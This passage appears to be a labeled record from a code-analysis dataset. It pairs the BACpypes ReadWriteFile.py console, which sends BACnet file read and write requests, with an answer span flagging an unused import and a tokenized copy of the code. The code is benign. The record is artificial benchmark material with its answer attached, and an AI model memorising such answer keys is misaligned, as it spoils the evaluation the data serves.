args)\n\n # make a device object\n this_device = LocalDeviceObject(\n objectName=args.ini.objectname,\n objectIdentifier=int(args.ini.objectidentifier),\n maxApduLengthAccepted=int(args.ini.maxapdulengthaccepted),\n segmentationSupported=args.ini.segmentationsupported,\n vendorIdentifier=int(args.ini.vendoridentifier),\n )\n\n # make a simple application\n this_application = TestApplication(this_device, args.ini.address)\n\n # get the services supported\n services_supported = this_application.get_services_supported()\n if _debug: _log.debug(\" - services_supported: %r\", services_supported)\n\n # let the device object know\n this_device.protocolServicesSupported = services_supported.value\n\n # make a console\n this_console = TestConsoleCmd()\n\n _log.debug(\"running\")\n\n run()\n\nexcept Exception, e:\n _log.exception(\"an error has occurred: %s\", e)\nfinally:\n _log.debug(\"finally\")\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "@bacpypes_debugging\nclass TestApplication(BIPSimpleApplication):\n\n", "metadata": "root.TestApplication", "header": "['module', '___EOS___']", "index": 47 }, { "content": " def request(self, apdu):\n if _debug: TestApplication._debug(\"request %r\", apdu)\n\n # save a copy of the request\n self._request = apdu\n\n # forward it along\n BIPSimpleApplication.request(self, apdu)", "metadata": "root.TestApplication.request", "header": "['class', 'TestApplication', '(', 'BIPSimpleApplication', ')', ':', '___EOS___']", "index": 50 }, { "content": " def confirmation(self, apdu):\n if _debug: TestApplication._debug(\"confirmation %r\", apdu)\n\n if isinstance(apdu, Error):\n sys.stdout.write(\"error: %s\\n\" % (apdu.errorCode,))\n sys.stdout.flush()\n\n elif isinstance(apdu, AbortPDU):\n apdu.debug_contents()\n\n elif (isinstance(self._request, AtomicReadFileRequest)) and (isinstance(apdu, AtomicReadFileACK)):\n # suck out the record data\n if apdu.accessMethod.recordAccess:\n value = apdu.accessMethod.recordAccess.fileRecordData\n elif apdu.accessMethod.streamAccess:\n value = apdu.accessMethod.streamAccess.fileData\n TestApplication._debug(\" - value: %r\", value)\n\n sys.stdout.write(repr(value) + '\\n')\n sys.stdout.flush()\n\n elif (isinstance(self._request, AtomicWriteFileRequest)) and (isinstance(apdu, AtomicWriteFileACK)):\n # suck out the record data\n if apdu.fileStartPosition is not None:\n value = apdu.fileStartPosition\n elif apdu.fileStartRecord is not None:\n value = apdu.fileStartRecord\n TestApplication._debug(\" - value: %r\", value)\n\n sys.stdout.write(repr(value) + '\\n')\n sys.stdout.flush()", "metadata": "root.TestApplication.confirmation", "header": "['class', 'TestApplication', '(', 'BIPSimpleApplication', ')', ':', '___EOS___']", "index": 59 }, { "content": "@bacpypes_debugging\nclass TestConsoleCmd(ConsoleCmd):\n\n\n\n", "metadata": "root.TestConsoleCmd", "header": "['module', '___EOS___']", "index": 95 }, { "content": " def do_readrecord(self, args):\n \"\"\"readrecord <addr> <inst> <start> <count>\"\"\"\n args = args.split()\n if _debug: TestConsoleCmd._debug(\"do_readrecord %r\", args)\n\n try:\n addr, obj_inst, start_record, record_count = args\n\n obj_type = 'file'\n obj_inst = int(obj_inst)\n start_record = int(start_record)\n record_count = int(record_count)\n\n # build a request\n request = AtomicReadFileRequest(\n fileIdentifier=(obj_type, obj_inst),\n accessMethod=AtomicReadFileRequestAccessMethodChoice(\n recordAccess=AtomicReadFileRequestAccessMethodChoiceRecordAccess(\n fileStartRecord=start_record,\n requestedRecordCount=record_count,\n ),\n ),\n )\n request.pduDestination = Address(addr)\n if _debug: TestConsoleCmd._debug(\" - request: %r\", request)\n\n # give it to the application\n this_application.request(request)\n\n except Exception, e:\n TestConsoleCmd._exception(\"exception: %r\", e)", "metadata": "root.TestConsoleCmd.do_readrecord", "header": "['class', 'TestConsoleCmd', '(', 'ConsoleCmd', ')', ':', '___EOS___']", "index": 98 }, { "content": " def do_readstream(self, args):\n \"\"\"readstream <addr> <inst> <start> <count>\"\"\"\n args = args.split()\n if _debug: TestConsoleCmd._debug(\"do_readstream %r\", args)\n\n try:\n addr, obj_inst, start_position, octet_count = args\n\n obj_type = 'file'\n obj_inst = int(obj_inst)\n start_position = int(start_position)\n octet_count = int(octet_count)\n\n # build a request\n request = AtomicReadFileRequest(\n fileIdentifier=(obj_type, obj_inst),\n accessMethod=AtomicReadFileRequestAccessMethodChoice(\n streamAccess=AtomicReadFileRequestAccessMethodChoiceStreamAccess(\n fileStartPosition=start_position,\n requestedOctetCount=octet_count,\n ),\n ),\n )\n request.pduDestination = Address(addr)\n if _debug: TestConsoleCmd._debug(\" - request: %r\", request)\n\n # give it to the application\n this_application.request(request)\n\n except Exception, e:\n TestConsoleCmd._exception(\"exception: %r\", e)", "metadata": "root.TestConsoleCmd.do_readstream", "header": "['class', 'TestConsoleCmd', '(', 'ConsoleCmd', ')', ':', '___EOS___']", "index": 130 }, { "content": " def do_writerecord(self, args):\n \"\"\"writerecord <addr> <inst> <start> <count> [ <data> ... ]\"\"\"\n args = args.split()\n if _debug: TestConsoleCmd._debug(\"do_writerecord %r\", args)\n\n try:\n addr, obj_inst, start_record, record_count = args[0:4]\n\n obj_type = 'file'\n obj_inst = int(obj_inst)\n start_record = int(start_record)\n record_count = int(record_count)\n record_data = list(args[4:])\n\n # build a request\n request = AtomicWriteFileRequest(\n fileIdentifier=(obj_type, obj_inst),\n accessMethod=AtomicWriteFileRequestAccessMethodChoice(\n recordAccess=AtomicWriteFileRequestAccessMethodChoiceRecordAccess(\n fileStartRecord=start_record,\n recordCount=record_count,\n fileRecordData=record_data,\n ),\n ),\n )\n request.pduDestination = Address(addr)\n if _debug: TestConsoleCmd._debug(\" - request: %r\", request)\n\n # give it to the application\n this_application.request(request)\n\n except Exception, e:\n TestConsoleCmd._exception(\"exception: %r\", e)", "metadata": "root.TestConsoleCmd.do_writerecord", "header": "['class', 'TestConsoleCmd', '(', 'ConsoleCmd', ')', ':', '___EOS___']", "index": 162 }, { "content": " def do_writestream(self, args):\n \"\"\"writestream <addr> <inst> <start> <data>\"\"\"\n args = args.split()\n if _debug: TestConsoleCmd._debug(\"do_writestream %r\", args)\n\n try:\n addr, obj_inst, start_position, data = args\n\n obj_type = 'file'\n obj_inst = int(obj_inst)\n start_position = int(start_position)\n\n # build a request\n request = AtomicWriteFileRequest(\n fileIdentifier=(obj_type, obj_inst),\n accessMethod=AtomicWriteFileRequestAccessMethodChoice(\n streamAccess=AtomicWriteFileRequestAccessMethodChoiceStreamAccess(\n fileStartPosition=start_position,\n fileData=data,\n ),\n ),\n )\n request.pduDestination = Address(addr)\n if _debug: TestConsoleCmd._debug(\" - request: %r\", request)\n\n # give it to the application\n this_application.request(request)\n\n except Exception, e:\n TestConsoleCmd._exception(\"exception: %r\", e)", "metadata": "root.TestConsoleCmd.do_writestream", "header": "['class', 'TestConsoleCmd', '(', 'ConsoleCmd', ')', ':', '___EOS___']", "index": 196 } ]
[ { "span": "from bacpypes.basetypes import ServicesSupported", "start_line": 34, "start_column": 0, "end_line": 34, "end_column": 48 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "Read", "Write", "File", ".", "py", "\\", "10", ";", "\\", "10", ";", "Thi", "s", " ", "applica", "tion", " ", "presen", "ts", " ", "a", " ", "'", "console", "'", " ", "prompt", " ", "to", " ", "the", " ", "user", " ", "ask", "ing", " ", "for", " ", "command", "s", ".", "\\", "10", ";", "\\", "10", ";", "The", " ", "'", "read", "record", "'", " ", "and", " ", "'", "writer", "ecor", "d", "'", " ", "command", "s", " ", "are", " ", "used", " ", "with", " ", "record", " ", "orient", "ed", " ", "files", ",", "\\", "10", ";", "and", " ", "the", " ", "'", "reads", "tream", "'", " ", "and", " ", "'", "writes", "tream", "'", " ", "command", "s", " ", "are", " ", "used", " ", "with", " ", "stream", " ", "orient", "ed", " ", "\\", "10", ";", "files", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "bac", "pype", "s_", "._", "debugg", "ing_", "import_", "bac", "pype", "s", "\\u", "debugg", "ing_", ",_", "Modul", "e", "Logger_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bac", "pype", "s_", "._", "console", "logging_", "import_", "Config", "Arg", "ument", "Parser_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bac", "pype", "s_", "._", "console", "cmd_", "import_", "Cons", "ole", "Cmd_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "bac", "pype", "s_", "._", "core_", "import_", "run_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "bac", "pype", "s_", "._", "pdu_", "import_", "Address_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bac", "pype", "s_", "._", "app_", "import_", "Local", "Dev", "ice", "Object_", ",_", "BI", "PS", "impl", "e", "Application_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "bac", "pype", "s_", "._", "apd", "u_", "import_", "Error_", ",_", "Abo", "rt", "PD", "U_", ",_", "Atom", "ic", "Read", "File", "Request_", ",_", "Atom", "ic", "Read", "File", "Request", "Access", "Meth", "od", "Choice_", ",_", "Atom", "ic", "Read", "File", "Request", "Access", "Meth", "od", "Choi", "ce", "Record", "Access_", ",_", "Atom", "ic", "Read", "File", "Request", "Access", "Meth", "od", "Choi", "ce", "Stream", "Access_", ",_", "Atom", "ic", "Read", "File", "ACK_", ",_", "Atom", "ic", "Write", "File", "Request_", ",_", "Atom", "ic", "Write", "File", "Request", "Access", "Meth", "od", "Choice_", ",_", "Atom", "ic", "Write", "File", "Request", "Access", "Meth", "od", "Choi", "ce", "Record", "Access_", ",_", "Atom", "ic", "Write", "File", "Request", "Access", "Meth", "od", "Choi", "ce", "Stream", "Access_", ",_", "Atom", "ic", "Write", "File", "ACK_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bac", "pype", "s_", "._", "basetype", "s_", "import_", "Service", "s", "Supported_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "some", " ", "debugg", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "debug_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "log_", "=_", "Modul", "e", "Logger_", "(_", "globals_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "reference", " ", "a", " ", "simple", " ", "application_", "\\u\\u\\uNL\\u\\u\\u_", "this", "\\u", "application_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "Test", "Application_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "Test", "Cons", "ole", "Cmd_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\\u\\u", "main\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "parse", " ", "the", " ", "command", " ", "line", " ", "arguments_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args_", "=_", "Config", "Arg", "ument", "Parser_", "(_", "description_", "=_", "\\u\\u", "doc\\u\\u_", ")_", "._", "parse", "\\u", "args_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u", "debug_", ":_", "\\u", "log_", "._", "debug_", "(_", "\"", "initialization", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u", "debug_", ":_", "\\u", "log_", "._", "debug_", "(_", "\"", " ", " ", " ", " ", "-", " ", "args", ":", " ", "%", "r", "\"_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "make", " ", "a", " ", "device", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "this", "\\u", "device_", "=_", "Local", "Dev", "ice", "Object_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "object", "Name_", "=_", "args_", "._", "ini_", "._", "object", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "object", "Identifier_", "=_", "int_", "(_", "args_", "._", "ini_", "._", "objectid", "enti", "fier", "_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "Ap", "du", "Length", "Accept", "ed_", "=_", "int_", "(_", "args_", "._", "ini_", "._", "maxa", "pdu", "length", "accepted_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "segmentation", "Supported_", "=_", "args_", "._", "ini_", "._", "segmentation", "supported_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "vendor", "Identifier_", "=_", "int_", "(_", "args_", "._", "ini_", "._", "vendor", "identifier_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "make", " ", "a", " ", "simple", " ", "application_", "\\u\\u\\uNL\\u\\u\\u_", "this", "\\u", "application_", "=_", "Test", "Application_", "(_", "this", "\\u", "device_", ",_", "args_", "._", "ini_", "._", "address_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "the", " ", "service", "s", " ", "supported_", "\\u\\u\\uNL\\u\\u\\u_", "service", "s", "\\u", "supported_", "=_", "this", "\\u", "application_", "._", "get", "\\u", "service", "s", "\\u", "supported_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u", "debug_", ":_", "\\u", "log_", "._", "debug_", "(_", "\"", " ", " ", " ", " ", "-", " ", "service", "s", "\\u", "support", "ed", ":", " ", "%", "r", "\"_", ",_", "service", "s", "\\u", "supported_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "let", " ", "the", " ", "device", " ", "object", " ", "know", "_", "\\u\\u\\uNL\\u\\u\\u_", "this", "\\u", "device_", "._", "protoc", "ol", "Service", "s", "Supported_", "=_", "service", "s", "\\u", "supported_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "make", " ", "a", " ", "console_", "\\u\\u\\uNL\\u\\u\\u_", "this", "\\u", "console_", "=_", "Test", "Cons", "ole", "Cmd_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "log_", "._", "debug_", "(_", "\"", "runn", "ing", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "log_", "._", "exception_", "(_", "\"", "an", " ", "error", " ", "has", " ", "occur", "red", ":", " ", "%", "s", "\"_", ",_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "log_", "._", "debug_", "(_", "\"", "final", "ly", "\"_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "bac", "pype", "s", "\\u", "debugg", "ing_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class_", "Test", "Application_", "(_", "BI", "PS", "impl", "e", "Application_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Application_", "(_", "BI", "PS", "impl", "e", "Application_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "request_", "(_", "self_", ",_", "apd", "u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\\u", "debug_", ":_", "Test", "Application_", "._", "\\u", "debug_", "(_", "\"", "request", " ", "%", "r", "\"_", ",_", "apd", "u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "save", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "request_", "=_", "apd", "u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "forward", " ", "it", " ", "along", "_", "\\u\\u\\uNL\\u\\u\\u_", "BI", "PS", "impl", "e", "Application_", "._", "request_", "(_", "self_", ",_", "apd", "u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Application_", "(_", "BI", "PS", "impl", "e", "Application_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "confirmation_", "(_", "self_", ",_", "apd", "u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\\u", "debug_", ":_", "Test", "Application_", "._", "\\u", "debug_", "(_", "\"", "confirmation", " ", "%", "r", "\"_", ",_", "apd", "u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "isinstance_", "(_", "apd", "u_", ",_", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "stdout_", "._", "write_", "(_", "\"", "error", ":", " ", "%", "s", "\\\\", "n", "\"_", "%_", "(_", "apd", "u_", "._", "error", "Code_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "apd", "u_", ",_", "Abo", "rt", "PD", "U_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "apd", "u_", "._", "debug", "\\u", "contents_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "isinstance_", "(_", "self_", "._", "\\u", "request_", ",_", "Atom", "ic", "Read", "File", "Request_", ")_", ")_", "and_", "(_", "isinstance_", "(_", "apd", "u_", ",_", "Atom", "ic", "Read", "File", "ACK_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "suc", "k", " ", "out", " ", "the", " ", "record", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "apd", "u_", "._", "access", "Method_", "._", "record", "Access_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "apd", "u_", "._", "access", "Method_", "._", "record", "Access_", "._", "file", "Record", "Data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "apd", "u_", "._", "access", "Method_", "._", "stream", "Access_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "apd", "u_", "._", "access", "Method_", "._", "stream", "Access_", "._", "file", "Data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Test", "Application_", "._", "\\u", "debug_", "(_", "\"", " ", " ", " ", " ", "-", " ", "value", ":", " ", "%", "r", "\"_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sys_", "._", "stdout_", "._", "write_", "(_", "repr_", "(_", "value_", ")_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "isinstance_", "(_", "self_", "._", "\\u", "request_", ",_", "Atom", "ic", "Write", "File", "Request_", ")_", ")_", "and_", "(_", "isinstance_", "(_", "apd", "u_", ",_", "Atom", "ic", "Write", "File", "ACK_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "suc", "k", " ", "out", " ", "the", " ", "record", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "apd", "u_", "._", "file", "Start", "Position_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "apd", "u_", "._", "file", "Start", "Position_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "apd", "u_", "._", "file", "Start", "Record_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "apd", "u_", "._", "file", "Start", "Record_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Test", "Application_", "._", "\\u", "debug_", "(_", "\"", " ", " ", " ", " ", "-", " ", "value", ":", " ", "%", "r", "\"_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sys_", "._", "stdout_", "._", "write_", "(_", "repr_", "(_", "value_", ")_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "bac", "pype", "s", "\\u", "debugg", "ing_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class_", "Test", "Cons", "ole", "Cmd_", "(_", "Cons", "ole", "Cmd_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Cons", "ole", "Cmd_", "(_", "Cons", "ole", "Cmd_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "do", "\\u", "read", "record_", "(_", "self_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "read", "record", " ", "<", "addr", ">", " ", "<", "inst", ">", " ", "<", "start", ">", " ", "<", "count", ">\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "=_", "args_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u", "debug_", ":_", "Test", "Cons", "ole", "Cmd_", "._", "\\u", "debug_", "(_", "\"", "do", "\\u", "read", "record", " ", "%", "r", "\"_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "addr_", ",_", "obj", "\\u", "inst_", ",_", "start", "\\u", "record_", ",_", "record", "\\u", "count_", "=_", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "obj", "\\u", "type_", "=_", "'", "file", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj", "\\u", "inst_", "=_", "int_", "(_", "obj", "\\u", "inst_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "record_", "=_", "int_", "(_", "start", "\\u", "record_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "record", "\\u", "count_", "=_", "int_", "(_", "record", "\\u", "count_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "build", " ", "a", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "Atom", "ic", "Read", "File", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "file", "Identifier_", "=_", "(_", "obj", "\\u", "type_", ",_", "obj", "\\u", "inst_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "access", "Method_", "=_", "Atom", "ic", "Read", "File", "Request", "Access", "Meth", "od", "Choice_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "record", "Access_", "=_", "Atom", "ic", "Read", "File", "Request", "Access", "Meth", "od", "Choi", "ce", "Record", "Access_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "file", "Start", "Record_", "=_", "start", "\\u", "record_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request", "ed", "Record", "Count_", "=_", "record", "\\u", "count_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "pdu", "Destination_", "=_", "Address_", "(_", "addr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u", "debug_", ":_", "Test", "Cons", "ole", "Cmd_", "._", "\\u", "debug_", "(_", "\"", " ", " ", " ", " ", "-", " ", "request", ":", " ", "%", "r", "\"_", ",_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "it", " ", "to", " ", "the", " ", "application_", "\\u\\u\\uNL\\u\\u\\u_", "this", "\\u", "application_", "._", "request_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Test", "Cons", "ole", "Cmd_", "._", "\\u", "exception_", "(_", "\"", "exception", ":", " ", "%", "r", "\"_", ",_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Cons", "ole", "Cmd_", "(_", "Cons", "ole", "Cmd_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "do", "\\u", "reads", "tream_", "(_", "self_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "reads", "tream", " ", "<", "addr", ">", " ", "<", "inst", ">", " ", 